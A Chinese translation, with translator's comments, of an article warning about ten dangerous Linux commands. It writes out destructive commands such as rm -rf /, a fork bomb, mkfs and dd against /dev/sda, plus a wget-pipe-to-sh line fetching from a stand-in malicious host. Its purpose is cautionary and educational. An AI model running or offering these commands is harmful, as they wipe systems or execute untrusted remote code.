Linux係統中10個最危(wēi)險的命(mìng)令
我們大(dà)多(duō)數的朋友都(dōu)是一輩子(zǐ)都用的windows係統,基本(běn)用(yòng)鼠標就可以完成所有的操作,但是(shì)在Linux係統中那麽基(jī)本上就是(shì)鍵盤+命令(lìng)操作電腦的,Linux命令行佷有用、很高(gāo)效,也很有(yǒu)趣,但有(yǒu)時候也很危險,尤其是(shì)在你不確定你自己在正在(zài)做什麽時候。這篇文章並不打算(suàn)引來你對Linux或linux 命令(lìng)行的憤怒,隻是(shì)想讓你意識到(dào)在你運行(háng)某些命令時應該三思而後行。(譯注:當然,以下命令通(tōng)常都是在root權限下(xià)才能將愚蠢(chǔn)發揮(huī)到無可救藥;在(zài)普通用(yòng)戶身份下,破壞(huài)的(de)隻是自己的一畝(mǔ)三(sān)分地。)
1. rm -rf 命令
rm -rf命令是刪除文件夾及(jí)其內容最快的(de)方式(shì)之一。僅僅一(yī)丁點的(de)敲錯或無知都可(kě)能(néng)導致不可恢(huī)複的係統崩(bēng)壞(huài)。下列是一些rm 命令的選項。
rm命(mìng)令在Linux下通常用來(lái)刪除文件。
rm -r 命令遞歸的(de)刪除文件夾(jiá),甚至是空的文件夾(jiá)。(譯(yì)注:個(gè)人認為此處應該是說錯了,從常識看,應該是(shì)“甚(shèn)至是非空的文件夾”)
rm -f 命(mìng)令能不經過詢問直接刪除‘隻讀文件’。(譯注:Linux下刪除文(wén)件並不在乎(hū)該文件是(shì)否(fǒu)是隻讀的,而隻是在意其父(fù)目錄是否有(yǒu)寫權限。所以,-f這個參(cān)數隻是表示不必一個(gè)個刪(shān)除(chú)確認(rèn),而是一(yī)律悄悄刪(shān)除(chú)。另外,原始的rm命令其實也是沒有刪除提示的,隻(zhī)是(shì)一般的發行版都會將rm通過別(bié)名(míng)的方式增加(jiā)-i參數來要求刪(shān)除確認,而-f則抑製了這個提示。)
rm -rf / : 強製刪除根目(mù)錄下所有東東。(就(jiù)是說刪除完畢後,什麽也沒有了……)
rm -rf *: 強製刪除當前目錄的所有文件。
rm -rf . : 強製刪除當前文件夾及其子(zǐ)文件夾。
從現在(zài)起(qǐ),當你要執行(háng)rm -rf命令時請留心一點。我們可(kě)以在“.bashrc”文件對(duì)‘rm‘命令創建(jiàn)rm -i的別(bié)名,來(lái)預防用 ‘rm‘命令刪除文件時的(de)事故(gù),它會要求(qiú)你確認每一個刪(shān)除請求。(譯注:大(dà)多(duō)數(shù)發行版已經這樣做了,如(rú)果還(hái)沒有(yǒu),請這樣(yàng)做,並在使用-f參數前一(yī)定考慮好你在做什麽!譯者本人有著血淚的(de)教訓啊。)
2. :(){:|:&};: 命令
這就是個fork 炸彈(dàn)的實例。具體操作(zuò)是通(tōng)過定義一個名為(wéi) ‘:‘的(de)函(hán)數,它會(huì)調用自己兩次,一次在前台另一次運行在後(hòu)台。它會反複的執(zhí)行(háng)下(xià)去直到係統崩潰。
哦(ò)?你(nǐ)確認你要試試麽?千萬別在公司正式的服務器上實驗啊~~
3. 命令> /dev/sda
上列命令會將某個‘命(mìng)令‘的輸出寫到塊設備/dev/sda中。該操作會將在塊設(shè)備中的所有數據塊替換為命令寫入的(de)原始數據,從而(ér)導致整個塊(kuài)設備的數據丟失。
4. mv文件(jiàn)夾/dev/null
這個命令會移動某(mǒu)個‘文件夾(jiá)‘到/dev/null。在Linux中(zhōng) /dev/null 或 null 設備(bèi)是一個特(tè)殊的文件,所(suǒ)有寫入它(tā)的數(shù)據都會被清除,然後返回寫操作成功。(譯注:這就是黑洞啊。當然,要說明的是,通過將文(wén)件(jiàn)夾移(yí)動到黑洞,並不能阻止數據恢複軟件(jiàn)的救(jiù)贖,所以,真正的徹底毀滅,需要(yào)采用專用的軟件或者(zhě)手法來(lái)完成——我知道(dào)你肯定有些(xiē)東西想刪(shān)除得幹(gàn)幹淨淨的。)
上列命令會將(jiāng)User目錄(lù)所有內(nèi)容移動(dòng)到/dev/null,這意味著所有東西都被‘卷入(rù)’黑洞 (null)之中。
5. wget http://malicious_source -O- | sh
上列命令會從(cóng)一(yī)個(也(yě)許是)惡意源下載一個腳本並執行。Wget命令會下載這個腳本,而sh會(無條件的)執行下載(zǎi)下來的腳本。
注意(yì): 你應該時刻注意你(nǐ)下(xià)載(zǎi)包或腳本的(de)源。隻(zhī)能使用那些從可信任的源中下載腳本(běn)/程序。(譯注:所以(yǐ),你真的知道(dào)你在做什麽嗎?當(dāng)遇到這種(zhǒng)需要(yào)是,我的(de)做法(fǎ)是,先wget下(xià)來,然後我(wǒ)去讀(dú)一(yī)讀其中到底寫了些什麽,然後考慮是否執行。)
6. mkfs.ext3 /dev/sda
上列命令會(huì)格式化塊設備(bèi)‘sda’,你無疑知道在(zài)執(zhí)行上列命(mìng)令後你的塊設備(硬盤驅動器)會被格(gé)式化,嶄新的!沒有任何數據,直(zhí)接讓(ràng)你的(de)係(xì)統達到不可恢複的階段。(譯注:通常不會直接使用/dev/sda這樣的(de)設備,除非是(shì)作為raw設備使用,一般都需(xū)要將(jiāng)sda分成類似sda1、sda2這樣的分區後(hòu)才使(shǐ)用。當然,無論你使用(yòng)sda還是sda1,這(zhè)樣(yàng)對塊設(shè)備或分(fèn)區進行(háng)mkfs都是(shì)毀(huǐ)滅性的,上麵(miàn)的數據都(dōu)會被蒸發了。)
7. > file
上列命(mìng)令(lìng)常用來清空文件內容(譯注:通常也用於(yú)記錄命令輸出。不過請在執行(háng)前,確認輸(shū)出的文(wén)件(jiàn)是空的或者還不存(cún)在,否則原來(lái)的文(wén)件(jiàn)可真是恢(huī)複(fù)不了了——連數據恢複軟件都未必能幫助你了。另外,我想(xiǎng)你可(kě)能真(zhēn)正想(xiǎng)用(yòng)的是“>>”,即累(lèi)加新的(de)輸出(chū)到文件,而不是刷(shuā)新(xīn)那個文件(jiàn)。)。如果用上列(liè)執行時(shí)輸(shū)入錯誤(wù)或(huò)無知的(de)輸入(rù)類似 “>xt.conf” 的命令會覆蓋配置文件或其(qí)他(tā)任何的係統配置文(wén)件。
8. ^foo^bar
這個命(mìng)令在我們十個鮮(xiān)為人知的 Linux 命令 - Part 3中描述過,用來編輯先(xiān)前運行(háng)的命令(lìng)而無需重打整個命(mìng)令。但當用foobar命令時如(rú)果你(nǐ)沒有徹底檢查改變(biàn)原始命令的風險,這可能導致(zhì)真正的麻煩。(譯(yì)注:事實上,這種小技巧是譯者認(rèn)為的,少數史前時代遺留下(xià)來的無用而有害的“黑客”技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令會向塊設備sda寫入隨(suí)機(jī)的垃圾文件從而擦出(chū)數據。當然!你的係統(tǒng)可能陷入混亂和不可恢複的狀(zhuàng)態。(譯注:記得(dé)上(shàng)麵(miàn)說過mv到黑洞並不能徹(chè)底刪除(chú)數據麽?那麽這個(gè)命令就(jiù)是給了你一個(gè)徹底刪除的方法!當然為了(le)保險起(qǐ)見,你可以覆寫多次。)
10. 隱藏(cáng)命令
下麵的命令其(qí)實就是上麵第一個命令 (rm -rf)。這裏的代碼是隱藏在十六進(jìn)製裏的,一個無知的用(yòng)戶可能就會被(bèi)愚(yú)弄。在終端裏運行下麵命令(lìng)可能會擦除你的(de)根分區。
這個命令表明通常(cháng)真正的(de)危險是隱(yǐn)藏的,不(bú)會被輕(qīng)易的檢測到。你必須時刻留心你在做什麽結果會怎樣。不要編(biān)譯(yì)/運(yùn)行從未知來源的代碼。
注意:不要在(zài)你的或你的同學或(huò)學(xué)校的電(diàn)腦裏的Linux終端或Shell執行以(yǐ)上的任何一個命令。如(rú)果你(nǐ)想測試它們,請在虛擬機上運行。任何不和(hé)諧或數據丟(diū)失(shī),由於運(yùn)行上麵的命令導致(zhì)你的係統(tǒng)崩潰,文章作者和Tecmint概不負責。(譯注:譯者和轉(zhuǎn)載網站(zhàn)也不負(fù)責~!)
關鍵(jiàn)詞:Linux
閱讀(dú)本文後您有什麽感想? 已有 人(rén)給出評價!
- 0
- 0
- 0
- 0
- 0
- 0